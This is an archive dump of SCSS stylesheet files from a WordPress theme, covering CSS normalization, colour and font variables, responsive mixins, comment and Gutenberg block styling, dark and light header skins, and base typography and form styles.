 * 1. Add the correct display in IE 9-.
 * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
 */

progress {
    display: inline-block; /* 1 */
    vertical-align: baseline; /* 2 */
}

/**
 * Remove the default vertical scrollbar in IE.
 */

textarea {
    overflow: auto;
}

/**
 * 1. Add the correct box sizing in IE 10-.
 * 2. Remove the padding in IE 10-.
 */

[type="checkbox"],
[type="radio"] {
    box-sizing: border-box; /* 1 */
    padding: 0; /* 2 */
}

/**
 * Correct the cursor style of increment and decrement buttons in Chrome.
 */

[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
    height: auto;
}

/**
 * 1. Correct the odd appearance in Chrome and Safari.
 * 2. Correct the outline style in Safari.
 */

[type="search"] {
    -webkit-appearance: textfield; /* 1 */
    outline-offset: -2px; /* 2 */
}

/**
 * Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
 */

[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
    -webkit-appearance: none;
}

/**
 * 1. Correct the inability to style clickable types in iOS and Safari.
 * 2. Change font properties to `inherit` in Safari.
 */

::-webkit-file-upload-button {
    -webkit-appearance: button; /* 1 */
    font: inherit; /* 2 */
}

/* Interactive
   ========================================================================== */

/*
 * Add the correct display in IE 9-.
 * 1. Add the correct display in Edge, IE, and Firefox.
 */

details, /* 1 */
menu {
    display: block;
}

/*
 * Add the correct display in all browsers.
 */

summary {
    display: list-item;
}

/* Scripting
   ========================================================================== */

/**
 * Add the correct display in IE 9-.
 */

canvas {
    display: inline-block;
}

/**
 * Add the correct display in IE.
 */

template {
    display: none;
}

/* Hidden
   ========================================================================== */

/**
 * Add the correct display in IE 10-.
 */

[hidden] {
    display: none;
}utils/_vars.scss000066600000003440151143724600007723 0ustar00// Modular Scale settings
$ms-base:       1em, 0.875em;
$ms-ratio:      1.618;

// Site Fonts
$font_main:     -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
$font_heading:  $font_main;
$font_code:     Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
$font_pre:      "Courier 10 Pitch", Courier, monospace;

$container_width: 1200px; // 1200px; 75em

// Background
$background_body: #ffffff;

// Colors
$color_text:        #686868;
$color_heading:     #2b2b2b;
$color_primary:     #235787;
$color_secondary:   #c3512f;
$color_link:        #1e4b75;
$color_link_hover:  #111111;
$color_border:      #eaecee;
$color_meta:        #6d6d6d;

// Box Shadow
$boxshadow_dropdown: 0 3px 30px rgba(25,30,35,.1);

// Helper
$submenu_width: 14em;

// Skin

// - Dark mode
$light_color: white(0.99);
$light_color_link: white(0.79);
$light_color_link_hover: white(0.99);
$light_color_border: rgba(255,255,255,0.08);
$light_bg: rgba(255,255,255,0.9);

// - Light mode
$dark_color: black(0.6);
$dark_color_link: black(0.55);
$dark_color_link_hover: black(0.8);
$dark_color_border: rgba(0,0,0,0.08);
$dark_bg: rgba(0,0,0,0.9);

// Screen resolutions
$screen_lg: 80em;   // max 1280px
$screen_md: 64em;   // max 1024px
$screen_sm: 48em;   // max 768px
$screen_xs: 35.5em; // up to 568px

/*
$gl-devices-list: (
    desktop: "screen and (min-width: 64em)", // up 1024px
    tablet: "screen and (max-width: 64em) and ( min-width: 35.5em )", // 568px - 1024px
    mobile: "screen and (max-width: 35.5em)" // from to 568px to smaller
) !default;
*/

$gl-devices-list: (
        desktop: "screen and (min-width: 1025px)", // up 1024px
        tablet: "screen and (max-width: 1024px)", // 568px - 1024px
        mobile: "screen and (max-width: 568px)" // from to 568px to smaller
) !default;




utils/_mixins.scss000066600000003420151143724600010255 0ustar00// clearfix helper
@mixin clearfix {
    &:before, &:after {
        content: "";
        display: table;
    }
    &:after {
        clear: both;
    }
}

@mixin rtl() {
    html[dir="rtl"] & {
        @content;
    }
}

// Skin mode
@function black($opacity) {
    @return rgba(black, $opacity)
}
@function white($opacity) {
    @return rgba(white, $opacity)
}


//$screen_lg: 80em;   // max 1280px
//$screen_md: 64em;   // max 1024px
//$screen_sm: 48em;   // max 768px
//$screen_xs: 35.5em; // up to 568px

// Mobile first responsive
@mixin mq($media) {
    @if $media == min-xs {
        @media screen and (min-width: $screen_xs) { @content; }
    }
    @else if $media == max-xs {
        @media screen and (max-width: $screen_xs) { @content; }
    }

    @if $media == min-sm {
        @media screen and (min-width: $screen_sm) { @content; }
    }
    @else if $media == max-sm {
        @media screen and (max-width: $screen_sm) { @content; }
    }

    @else if $media == min-md {
        @media screen and (min-width: $screen_md) { @content; }
    }
    @else if $media == max-md {
        @media screen and (max-width: $screen_md) { @content; }
    }

    @else if $media == min-lg {
        @media screen and (min-width: $screen_lg) { @content; }
    }
    @else if $media == max-lg {
        @media screen and (max-width: $screen_lg) { @content; }
    }
}


/************************
   Device Query
*************************/

@mixin for_device( $device_name ){
    @if map-has-key( $gl-devices-list, $device_name) {
        @media #{map-get( $gl-devices-list, $device_name)} {
            @content;
        }
    }@else {
        @if map-has-key( $gl-mq-list, $device_name) {
            @media #{map-get($gl-mq-list, $device_name)} {
                @content;
            }
        }
    }
}

base/_comments.scss000066600000004004151143724600010344 0ustar00/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
	.comment-reply-title {
		@extend h4;
	}
	.comment-form-comment,
	.comment-form-author,
	.comment-form-email,
	.comment-form-url {
		label {
			text-transform: uppercase;
			letter-spacing: 0.5px;
			font-size: 0.85em;
		}
	}
}
.comment-list {
	list-style: none;
	margin: 0;
	article.comment {
		margin-bottom: 0px;
	}
	ul {
		list-style: none;
		margin: 0;
	}
	.children li.comment {
		padding-left: 30px;
		@include mq(min-md) {
			padding-left: 85px;
			border-left: 1px solid $color_border;
			position: relative;
			width: 100%;
			&:after {
				content: "";
				display: block;
				position: absolute;
				float: left;
				top: ms(2);
				left: 0;
				width: ms(2);
				height: 1px;
				background-color: $color_border;
			}
		}
		@include mq(max-sm) {
			li.comment li.comment li.comment {
				padding-left: 0px;
			}
		}
	}
}
article.comment {
	padding: ms(2) 0;
	margin-bottom: ms(2);
	.comment-content {
		p:last-of-type {
			margin-bottom: 0px;
		}
	}
	.comment-image {
		float: left;
	}
	.comment-wrap {
		margin-left: 85px;
	}
	.comment-meta {
		display: block;
		margin: 12px 0px 12px;
		padding-bottom: 4px;
		border-bottom: 1px solid $color_border;
		.comment-edit-link {
			margin-left: 10px;
		}
	}
	.comment-author {
		font-weight: 500;
		text-transform: uppercase;
		line-height: 1;
		font-style: normal;
	}
	.comment-post-author {
		background: $color_meta;
		padding: 1px 6px 1px;
		border-radius: 2px;
		color: #ffffff;
		position: relative;
		top: -2px;
		margin-left: 4px;
	}
}
#respond {
	.comment-form-author,
	.comment-form-email,
	.comment-form-url {
		@include mq(min-md) {
			width: 29.4117647059%;
			margin-right: 5.8823529412%;
			float: left;
		}
		input {
			width: 100%;
		}
	}
	.comment-form-url {
		margin-right: 0px;
	}
	.comment-form-cookies-consent {
		#wp-comment-cookies-consent {
			position: relative;
			top: -1px;
			margin-right: 5px;
		}
	}
}
base/_skins.scss000066600000005044151143724600007653 0ustar00// Skin mode

.dark-mode {
	.header--row & {
		color: $light_color;
		background: $dark_bg;
	}

	// Header items
	.nav-menu-desktop {
		&.style-border-top,
		&.style-border-bottom,
		&.style-plain {
			.nav-menu {
				> li {
					> a {
						&:hover,
						&:focus {
							color: $light_color_link_hover;
						}
					}
					&.current-menu-item,
					&.current-menu-ancestor {
						> a {
							color: $light_color_link_hover;
						}
					}
				}
			}
		}
	}

	// Site identity
	.site-title,
	.site-title a {
		color: $light_color_link_hover;
	}

	.customify-builder-social-icons.color-custom li a,
	.search-icon,
	.menu-mobile-toggle,
	.nav-menu > li > a,
	.item--html a {
		color: $light_color_link;
		&:hover {
			color: $light_color_link_hover;
		}
	}

	.cart-item-link {
		color: $light_color_link;
		.cart-icon {
			color: $light_color_link_hover;
		}
		&:hover {
			color: $light_color_link_hover;
		}
	}

	// Only for dark mode
	.header-search_box-item {
		.search-form-fields {
			background: white(0.03);
			border-color: $light_color_border;
			color: $light_color_link;
			
			.search-field{
				color: $light_color_link;
				&::placeholder {
					color: $light_color_link;
				}
			}
		}
		.search-submit {
			color: $light_color_link;
			&:hover {
				color: $light_color_link_hover;
			}
		}
	}
}

.woo_bootster_search {
	.dark-mode{
		.header-search_box-item {
			.header-search-form {
				.search_product_cats{
					background-color: white(0.03);
					border-color: $light_color_border;
					color: $light_color_link;
				}
				.search-field{
					background-color: white(0.03)!important;
					border-color: $light_color_border;
					color: $light_color_link;
				}
			}
		}
	}
}

.light-mode {
	.header--row & {
		color: $dark_color;
		background: $light_bg;
	}

	// Header items
	.nav-menu-desktop {
		&.style-border-top,
		&.style-border-bottom,
		&.style-plain {
			.nav-menu {
				> li {
					> a {
						&:hover,
						&:focus {
							color: $dark_color_link_hover;
						}
					}
					&.current-menu-item,
					&.current-menu-ancestor {
						> a {
							color: $dark_color_link_hover;
						}
					}
				}
			}
		}
	}

	// Site identity
	.site-title,
	.site-title a {
		color: $dark_color_link_hover;
	}

	.customify-builder-social-icons.color-custom li a,
	.search-icon,
	.menu-mobile-toggle,
	.item--html a,
	.nav-menu > li > a {
		color: $dark_color_link;
		&:hover {
			color: $dark_color_link_hover;
		}
	}

	.cart-item-link {
		color: $dark_color_link;
		.cart-icon {
			color: $dark_color_link_hover;
		}
		&:hover {
			color: $dark_color_link_hover;
		}
	}
}base/_blocks.scss000066600000007700151143724600010002 0ustar00.single-post .content-inner {
	margin-left: auto;
	margin-right: auto; 
}

.entry-content > * {
	margin-left: auto;
	margin-right: auto;
}
.entry-content {
	.alignleft{
		margin-right: 1.41575em;
	}
}

// Layout no sidebar.
.main-layout-content {
	.entry-content > .alignwide {
		max-width: 100vw;
		max-width: calc(var(--vw, 1vw) * 100);
		width: 1200px;
		transform: translateX(-50%);
		left: 50%;
		position: relative;
	}

	.entry-content > .alignfull {
		margin: 1.5em 0;
		max-width: 100vw;
		max-width: calc(var(--vw, 1vw) * 100);
		width: 100vw;
		width: calc(var(--vw, 1vw) * 100);
		transform: translateX(-50%);
		left: 50%;
		position: relative;
	}
}


// Right sidebar(s)
.main-layout-content-sidebar,
.main-layout-content-sidebar-sidebar {
	&.single-post .content-inner {
		margin-left: 0px;
	}
}

// Left sidebar(s)
.main-layout-sidebar-content,
.main-layout-sidebar-sidebar-content {
	&.single-post .content-inner {
		margin-right: 0px;
	}
}


.entry-content ul,
.entry-content ol {
	margin: 1.5em auto;
	list-style-position: outside;
}

.wp-block-video video {
	max-width: 100%;
}

.wp-block-image img {
	display: block;
}

.wp-block-image.alignleft,
.wp-block-image.alignright {
	width: 100%;
}

.wp-block-image.alignfull img {
	width: 100vw;
	width: calc(var(--vw, 1vw) * 100);
}

.wp-block-gallery:not(.components-placeholder) {
	margin: 1.5em auto;
}

.wp-block-cover-text p {
	padding: 1.5em 14px;
}

ul.wp-block-latest-posts.alignwide,
ul.wp-block-latest-posts.alignfull,
ul.wp-block-latest-posts.is-grid.alignwide,
ul.wp-block-latest-posts.is-grid.alignwide {
	padding: 0 14px;
}

.wp-block-table {
	display: block;
	overflow-x: auto;
}

.wp-block-table table {
	border-collapse: collapse;
	width: 100%;
}

.wp-block-table td,
.wp-block-table th {
	padding: 0.5em;
}

.entry-content li {
	margin-left: 2.5em;
	margin-bottom: 6px;
}

.entry-content ul ul,
.entry-content ol ol,
.entry-content ul ol,
.entry-content ol ul {
	margin-bottom: 0px;
	margin-top: 0px;
	margin-left: 2.5em;
}

.entry-content ul ul li,
.entry-content ol ol li,
.entry-content ul ol li,
.entry-content ol ul li {
	margin-left: 0;
}

.wp-block-embed.is-type-video {
	> .wp-block-embed__wrapper {
		position: relative;
		width: 100%;
		height: 0; 
		padding-top: 56.25%;
		iframe, > object {
			position: absolute;
			width: 100%;
			height: 100%;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
		}
	} 
}


.wp-block-quote {
	&.is-style-large {
		cite {
			font-size: 13px;
		}
		padding: 0px;
	}
	border-left-width: 4px;
	border-left-color: currentColor;
	> * {
		margin-left: 16px;
		margin-right: 16px;
	}
	cite {
		font-style: normal;
		margin-top: 1em;
		position: relative;
		font-size: 13px;
	}
}

.wp-block-pullquote {
	border-bottom: 4px solid currentColor;
    border-top: 4px solid currentColor;
	margin-left: 0;
    margin-right: 0;
    padding: 3em 0;
	text-align: center;
	> p:first-child {
		margin-top: 0;
	}
	cite {
		font-size: 13px;
		font-style: normal;
		text-transform: uppercase;
	}
	blockquote {
		border-left: 0px;
	}
}

.wp-block-separator {
	margin: 3em auto;
	border: none;
	border-bottom: 2px solid currentColor;
	&:not(.is-style-wide) {
		max-width: 100px;
	}
	&.is-style-dots {
		border-bottom: none !important;
		text-align: center;
		&::before {
			padding-left: 0px;
			font-size: 30px;
		}
	}
}

@media screen and (min-width: 768px) {
	.wp-block-cover-text p {
		padding: 1.5em 0;
	}
}

/*--------------------------------------------------------------
  # Block Color Palette Colors
  --------------------------------------------------------------*/
.has-strong-blue-color {
	color: #0073aa;
}

.has-strong-blue-background-color {
	background-color: #0073aa;
}

.has-lighter-blue-color {
	color: #229fd8;
}

.has-lighter-blue-background-color {
	background-color: #229fd8;
}

.has-very-light-gray-color {
	color: #eee;
}

.has-very-light-gray-background-color {
	background-color: #eee;
}

.has-very-dark-gray-color {
	color: #444;
}

.has-very-dark-gray-background-color {
	background-color: #444;
}
base/_base.scss000066600000044334151143724600007443 0ustar00/*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Typography
# Elements
# Forms
# Accessibility
# Alignments
# Clearings
# Media
# Media: Captions
# Media: Galleries
# Comments
# Helper
/*--------------------------------------------------------------
# Typography
--------------------------------------------------------------*/
body {
	color: $color_text;
	font-family: $font_main;
	font-weight: 400;
	line-height: 1.618;
	-moz-osx-font-smoothing: grayscale;
	text-rendering: optimizeLegibility;
	-webkit-font-smoothing: antialiased;
}

/* # Heading */
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
	font-weight: 400;
	font-family: $font_main;
	margin: 0 0 ms(-3);
	color: $color_heading;
	clear: both;
}

h1,
.h1 {
	font-size: 2.42em;
	line-height: 1.216;
	@include for_device(tablet) {
		font-size: 2.1em;
	}
	@include for_device(mobile) {
		font-size: 1.8em;
	}
}

h2,
.h2 {
	font-size: 2.1em;
	line-height: 1.216;
	& + h3 {
		border-top: 1px solid $color_border;
		padding-top: ms(-3);
	}
	@include for_device(tablet) {
		font-size: 1.9em;
	}
	@include for_device(mobile) {
		font-size: 1.7em;
	}
}

h3,
.h3 {
	font-size: ms(2);
}

h4,
.h4 {
	font-size: ms(1);
}

/* # Copy */
p {
	margin: 0 0 ms(1);
}

dfn,
cite,
em,
i {
	font-style: italic;
}

blockquote {
	padding: 0px ms(1);
	margin: ms(1) ms(2);
	border-left: 3px solid $color_border;
	font-style: italic;
	font-weight: 200;
	font-size: 1.2em;
	p:last-of-type {
		margin-bottom: 0px;
	}
}

address {
	margin: 0 0 ms(2);
}

pre {
	background: darken($background_body, 5%);
	font-family: "Courier 10 Pitch", Courier, monospace;
	margin-bottom: ms(3);
	padding: ms(2);
	overflow: auto;
	max-width: 100%;
}

code,
kbd,
tt,
var {
	background-color: rgba(0, 0, 0, 0.05);
	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
	padding: 0.15em ms(-3);
	border-radius: 2px;
}

abbr,
acronym {
	border-bottom: 1px dotted $color_text;
	cursor: help;
}

mark,
ins {
	background: transparent;
	text-decoration: none;
}

big {
	font-size: 125%;
}

/*--------------------------------------------------------------
# Elements
--------------------------------------------------------------*/
html {
	box-sizing: border-box;
}

*,
*:before,
*:after {
	/* Inherit box-sizing to make it easier to change the property for components that leverage other behavior; see http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
	box-sizing: inherit;
}

body {
	background: $background_body; /* Fallback for when there is no custom background color defined. */
}

hr {
	background-color: #ccc;
	border: 0;
	height: 1px;
	margin: 0 0 ms(2);
}

img {
	height: auto; /* Make sure images are scaled correctly. */
	max-width: 100%; /* Adhere to container width. */
}

figure {
	margin: ms(0) 0; /* Extra wide images within figure tags don't overflow the content area. */
}

/* Links */
a.plain_color {
	color: currentColor;
}
a {
	color: $color_link;
	text-decoration: none;
	transition: all 0.14s ease-out;
	&:hover,
	&:focus {
		color: $color_link_hover;
	}
	&:hover,
	&:active {
		outline: 0;
	}
}

/* # Lists */

ul,
ol {
	margin: 0 0 ms(2) ms(4);
	padding: 0;
}

ul {
	list-style: disc;
}

ol {
	list-style: decimal;
}

li > ul,
li > ol {
	margin-bottom: 0;
	margin-left: ms(4);
}

dt {
	font-weight: bold;
}

dd {
	margin: 0 0 ms(2);
}

/* # Table */
table {
	width: 100%;
	max-width: 100%;
	margin-bottom: ms(3);
	border-spacing: 0;
	border-collapse: separate;

	caption {
		padding: ms(1);
		font-weight: 600;
	}
	th {
		background: darken($background_body, 5%);
		font-weight: 500;
	}

	th,
	td {
		padding: ms(0) ms(2);
		vertical-align: top;
		text-align: left;
		font-size: 0.9em;
	}

	thead th {
		vertical-align: middle;
	}

	tbody {
		td {
			background: darken($background_body, 2%);
		}
		tr:nth-child(2n) td {
			background: darken($background_body, 3%);
		}
	}
}
/* Float + Clear */
.clearfix,
.clear {
	&:before,
	&:after {
		content: "";
		display: table;
	}
	&:after {
		clear: both;
	}
}
.pull-right {
	float: right;
	margin-right: 0px;
}

.pull-left {
	float: left;
	margin-left: 0px;
}

/*--------------------------------------------------------------
# Forms
--------------------------------------------------------------*/
form {
	margin-bottom: 2em;
}

input[type="text"],
input[type="email"],
input[type="url"],
input[type="password"],
input[type="search"],
input[type="number"],
input[type="tel"],
input[type="range"],
input[type="date"],
input[type="month"],
input[type="week"],
input[type="time"],
input[type="datetime"],
input[type="datetime-local"],
input[type="color"],
select,
textarea,
.select2-container .select2-selection--single {
	color: #282828;
	border: 1px solid #e5e5e5;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
	padding: 0 0.75em;
	height: 2.6em;
	width: 100%;
	max-width: 100%;
	vertical-align: middle;
	border-radius: 1px;
	-moz-appearance: none;
	-webkit-appearance: none;
	&:focus {
		border-color: rgba(0, 0, 0, 0.1);
		outline: none;
		background-color: #f9f9f9;
	}
}
select {
	box-shadow: none;
	background-image: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTguMS4xLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDEwMCAxMDA7IiB4bWw6c3BhY2U9InByZXNlcnZlIiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4Ij4KPGc+Cgk8cGF0aCBkPSJNNDkuOTk4LDBMMjcsMzYuNDk4bDQ2LDAuMDA0TDQ5Ljk5OCwweiBNNTAuMDA0LDEwMEw3Myw2My41MDJsLTQ2LTAuMDA0TDUwLjAwNCwxMDB6IiBmaWxsPSIjMDAwMDAwIi8+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==);
	background-position: center right 8px;
	background-repeat: no-repeat;
	padding-right: 1.5em;
	cursor: pointer;
}
.select2-container--default {
	.select2-selection--single {
		box-shadow: none;
		.select2-selection__rendered {
			line-height: 2.4em;
			min-height: 2.6em;
			padding-left: 0px;
		}
		.select2-selection__arrow {
			top: 46%;
			right: 1px;
			transform: translateY(-38%);
			background-image: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTguMS4xLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDEwMCAxMDA7IiB4bWw6c3BhY2U9InByZXNlcnZlIiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4Ij4KPGc+Cgk8cGF0aCBkPSJNNDkuOTk4LDBMMjcsMzYuNDk4bDQ2LDAuMDA0TDQ5Ljk5OCwweiBNNTAuMDA0LDEwMEw3Myw2My41MDJsLTQ2LTAuMDA0TDUwLjAwNCwxMDB6IiBmaWxsPSIjMDAwMDAwIi8+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==);
			background-position: center right 8px;
			background-repeat: no-repeat;
			b {
				display: none;
			}
		}
	}

	.select2-dropdown {
		border: 1px solid #e5e5e5;
		box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
	}
}

.button:not(.components-button):not(.customize-partial-edit-shortcut-button),
button:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="button"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="reset"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="submit"]:not(.components-button):not(.customize-partial-edit-shortcut-button) {
	border: none;
	cursor: pointer;
	padding: 0px 1.3em;
	line-height: 2.5em;
	min-height: 2.6em;
	max-width: 100%;
	font-weight: bolder;
	text-transform: uppercase;
	transition: transform 0.3s, border 0.3s, background 0.3s, box-shadow 0.3s,
		opacity 0.3s, color 0.3s;
	border-radius: 1px;
	display: inline-block;
	&:hover {
		box-shadow: inset 0 0 0 120px rgba(0, 0, 0, 0.18);
		color: #ffffff;
		outline: none;
	}
	&:active,
	&:focus {
		outline: none;
	}

	&.loading {
		position: relative;
		i,
		svg,
		.icon-label,
		.hide-on-loading,
		.button-label {
			visibility: hidden;
		}
		&:after {
			content: "" !important;
			height: 16px;
			width: 16px;
			animation: spin 0.6s linear infinite;
			border: 2px solid rgba(0, 0, 0, 0.3);
			border-left-color: currentColor;
			border-radius: 50%;
			display: block;
			position: absolute;
			top: 50%;
			left: 50%;
			margin-top: -8px;
			margin-left: -8px;
			padding: 0px;
			line-height: 0px;
		}
	}
}

.button:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="button"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="reset"]:not(.components-button):not(.customize-partial-edit-shortcut-button),
input[type="submit"]:not(.components-button):not(.customize-partial-edit-shortcut-button) {
	color: #ffffff;
	background: $color_primary;
	&:focus {
		color: #ffffff;
	}
}

.button[disabled]:not(.components-button):not(.customize-partial-edit-shortcut-button),
button[disabled]:not(.components-button):not(.customize-partial-edit-shortcut-button),
button.disabled:not(.components-button):not(.customize-partial-edit-shortcut-button),
.button.disabled:not(.components-button):not(.customize-partial-edit-shortcut-button) {
	opacity: 0.5;
}

textarea {
	padding: 0.575em 0.875em 0;
	min-height: 130px;
}

button::-moz-focus-inner,
input::-moz-focus-inner {
	border: 0;
	padding: 0;
}

select {
	//border: 1px solid darken( $background_body,5% );
}

fieldset {
	border: none;
	margin: ms(3) 0;
	padding: 0;
	legend {
		margin-bottom: ms(-3);
		font-weight: 600;
	}
}

label {
	color: #252525;
}

/*--------------------------------------------------------------
# Accessibility
--------------------------------------------------------------*/
/* Text meant only for screen readers. */
.screen-reader-text {
	clip: rect(1px, 1px, 1px, 1px);
	position: absolute !important;
	height: 1px;
	width: 1px;
	overflow: hidden;
	word-wrap: normal !important; /* Many screen reader and browser combinations announce broken words as they would appear visually. */

	&:focus {
		background-color: #f1f1f1;
		border-radius: 3px;
		box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
		clip: auto !important;
		display: block;
		font-weight: bold;
		height: auto;
		left: 0px;
		line-height: normal;
		padding: 1em ms(3);
		text-decoration: none;
		top: 0px;
		width: auto;
		z-index: 100000; /* Above WP toolbar. */
	}
}

/* Do not show the outline on the skip link target. */
#content[tabindex="-1"]:focus {
	outline: 0;
}

/*--------------------------------------------------------------
# Alignments
--------------------------------------------------------------*/
.alignleft {
	display: inline;
	float: left;
	margin-right: ms(1);
}

.alignright {
	display: inline;
	float: right;
	margin-left: ms(1);
}

.aligncenter {
	clear: both;
	display: block;
	margin: 0 auto;
}

/*--------------------------------------------------------------
# Clearings
--------------------------------------------------------------*/
.clear:before,
.clear:after,
.entry-content:before,
.entry-content:after,
.comment-content:before,
.comment-content:after,
.site-header:before,
.site-header:after,
.site-content:before,
.site-content:after,
.site-footer:before,
.site-footer:after {
	content: "";
	display: table;
	table-layout: fixed;
}

.clear:after,
.entry-content:after,
.comment-content:after,
.site-header:after,
.site-content:after,
.site-footer:after {
	clear: both;
}

/*--------------------------------------------------------------
# Media
--------------------------------------------------------------*/
.page-content .wp-smiley,
.entry-content .wp-smiley,
.comment-content .wp-smiley {
	border: none;
	margin-bottom: 0;
	margin-top: 0;
	padding: 0;
}

/* Make sure embeds and iframes fit their containers. */
embed,
iframe,
object {
	max-width: 100%;
}

/* Make sure logo link wraps around logo image. */
.custom-logo-link {
	display: inline-block;
}

/*--------------------------------------------------------------
## Media: Captions
--------------------------------------------------------------*/
.wp-caption {
	margin-bottom: ms(1);
	max-width: 100%;
}

.wp-caption img[class*="wp-image-"] {
	display: block;
	margin-left: auto;
	margin-right: auto;
}

.wp-caption .wp-caption-text {
	padding: 1em 0;
	font-size: 85%;
}

.wp-caption-text {
	text-align: left;
	font-style: italic;
	color: darken($background_body, 40%);
}

/*--------------------------------------------------------------
## Media: Galleries
--------------------------------------------------------------*/
.gallery {
	margin-bottom: 1.5em;
	@include clearfix;
	margin-bottom: ms(1);
}

.gallery-item {
	display: inline-block;
	text-align: center;
	vertical-align: top;
	width: 100%;
}

.gallery-columns-2 .gallery-item {
	max-width: 50%;
}

.gallery-columns-3 .gallery-item {
	max-width: 33.33%;
}

.gallery-columns-4 .gallery-item {
	max-width: 25%;
}

.gallery-columns-5 .gallery-item {
	max-width: 20%;
}

.gallery-columns-6 .gallery-item {
	max-width: 16.66%;
}

.gallery-columns-7 .gallery-item {
	max-width: 14.28%;
}

.gallery-columns-8 .gallery-item {
	max-width: 12.5%;
}

.gallery-columns-9 .gallery-item {
	max-width: 11.11%;
}

.gallery-caption {
	display: block;
}

/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
	.comment-reply-title {
		@extend h4;
	}
	.comment-form-comment,
	.comment-form-author,
	.comment-form-email,
	.comment-form-url {
		label {
			text-transform: uppercase;
			letter-spacing: 0.5px;
			font-size: 0.85em;
		}
	}
}
.comment-list {
	list-style: none;
	margin: 0;
	article.comment {
		margin-bottom: 0px;
	}
	ul {
		list-style: none;
		margin: 0;
	}
	.children li.comment {
		padding-left: 30px;
		@include mq(min-md) {
			padding-left: 85px;
			border-left: 1px solid $color_border;
			position: relative;
			width: 100%;
			&:after {
				content: "";
				display: block;
				position: absolute;
				float: left;
				top: ms(2);
				left: 0;
				width: ms(2);
				height: 1px;
				background-color: $color_border;
			}
		}
		@include mq(max-sm) {
			li.comment li.comment li.comment {
				padding-left: 0px;
			}
		}
	}
}
article.comment {
	padding: ms(2) 0;
	margin-bottom: ms(2);
	.comment-content {
		p:last-of-type {
			margin-bottom: 0px;
		}
	}
	.comment-image {
		float: left;
	}
	.comment-wrap {
		margin-left: 85px;
	}
	.comment-meta {
		display: block;
		margin: 12px 0px 12px;
		padding-bottom: 4px;
		border-bottom: 1px solid $color_border;
		.comment-edit-link {
			margin-left: 10px;
		}
	}
	.comment-author {
		font-weight: 500;
		text-transform: uppercase;
		line-height: 1;
		font-style: normal;
	}
	.comment-post-author {
		background: $color_meta;
		padding: 1px 6px 1px;
		border-radius: 2px;
		color: #ffffff;
		position: relative;
		top: -2px;
		margin-left: 4px;
	}
}
#respond {
	.comment-form-author,
	.comment-form-email,
	.comment-form-url {
		@include mq(min-md) {
			width: 29.4117647059%;
			margin-right: 5.8823529412%;
			float: left;
		}
		input {
			width: 100%;
		}
	}
	.comment-form-url {
		margin-right: 0px;
	}
	.comment-form-cookies-consent {
		#wp-comment-cookies-consent {
			position: relative;
			top: -1px;
			margin-right: 5px;
		}
	}
}

/*--------------------------------------------------------------
## Helper
--------------------------------------------------------------*/

// Direction Nav
